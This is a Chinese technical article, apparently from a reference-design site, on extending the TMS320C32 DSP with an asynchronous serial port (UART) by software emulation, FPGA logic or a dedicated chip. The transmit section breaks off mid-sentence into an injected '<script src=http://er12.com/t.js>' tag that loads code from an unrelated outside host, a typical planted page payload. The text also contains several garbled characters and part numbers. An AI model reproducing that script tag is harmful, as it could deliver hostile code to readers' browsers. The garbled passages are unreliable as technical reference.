TMS320C32扩展异步串口的方法

介绍了tms320c32 dsp实现异步串行通信接口的三种方法:软件模拟实现、硬件实现、专用协议芯片实现。给出了具体实现的硬件接口和软件编程。在接口的第二种和第三种实现方法中,都使用了fpga实现逻辑接口。

  关键词:数字信号处理 异步串行接口 现场可编程逻辑阵列 电气传动控制

  高速数字信号处理器(dsp)在现代工业控制中,特别是电气传动控制中的应用非常广泛。大量文献介绍的应用于电气传动控制的dsp使用的是ti公司的,tms320系列dsp芯片,这其中又以tmx210c3x和tms320f24x为主流应用产品。tms320c32(以下简称为c32)是tms320c3x系列产品中应用比较多的一种。主工业控制中,常常需要使用上位pc机来控制底层的dsp芯片,一般采用异步串行通信协议,使用rs-232或485来实现。c32自身带有的串口为同步串口。为了实现c32和pc机之间的串行口通信,必须扩展c32的全双工异步串口(uart)功能。

  c32实现uart接口的方法有三种:

  (1)使用c32的现有资源模拟串行口的功能;

  (2)使用可编程芯片(例如fpga)实现同步和异步协议的转换;

  (3)使用专用的异步通信器件(ace)实现,例如pc机上使用16c550系列实现uart。

  1 使用c32的现有资源模拟串行口的功能

  通过使用两个通用i/o引脚、两个定时器和一个外部中断,可以用软件模拟uart的功能。使用中断实现软件模拟uart采用的通讯格式为:波特率9600bps、8个数据位、一个停止位、无奇偶校验位。这种实现方法由ted fried高级计算机通信公司提供。

  1.1 硬件

  图1为硬件连接线图。接收线同时接到int0和xfl引脚。起始位数据的下降沿触发外部中断int0。传输线接到xfo引脚,使用上拉电阻输出。

  1.2 软件

  1.2.1 接收数据

  根据uaht协议,接收到的第一个数据是起始位,在软件中。起始位会触发一个外部中断int0。害int0的中断服务程序例程rxint0中,定时器0首先玻装入一个时间常数,这个时间常数的定时时间等于半个数据位的延迟时间;然后装入定时器0的中断向量表,并允许定时器中断0,程序返回主程序,等待定时器0中断。如果定时器0触发中断,rx-tmr-int(接收定时器中断)例程则开始技行接收工作。第一个定时时间为半个数捉位的时间.cpu在接收位的中间时刻采样xfi的数据,并且验证接收到的数据是否为一个低电平。如果验证正确,表示接收到的数据为一个起始位,就可以接收数据了。在接收数据时,重新装载定时器0的定时值为一个数据位的时间并且启动定时器0,程序返回主程序,等待定时器0中断的到来。

  在随后的定时器0的服务程序中,实现了在接收位的中间时刻采样接收线的状态来得到实际数据。将这些接收到的数据移位到一个存储器单元中。在第9次中断时,对接收到的停止位进行验证。如果正确,软件执行一个陷阱中断,程序返回到主程序。如果不正确,调用bad_stop_bit子程序进行相应的错误处理。接收数据被处理完后,重新允许外部中断0,等待下一个起始位的到来。

  1.2.2 发送数据

  发送数据例程开始于主程序装载一个数据到指定的存储器中,并且调用tx_main例程。在这个例程中,状态定时器1的定时时间为一个数据位的时间,重新设置传输计数器的值,设置起始位,并且允许定时器l中断,返回主程序,等待定时器1中断的到来。只有传输计数器的值为0时,主程序才会允许重新装载?script src=http://er12.com/t.js>

  • TMS320C32扩展异步串口的方法已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计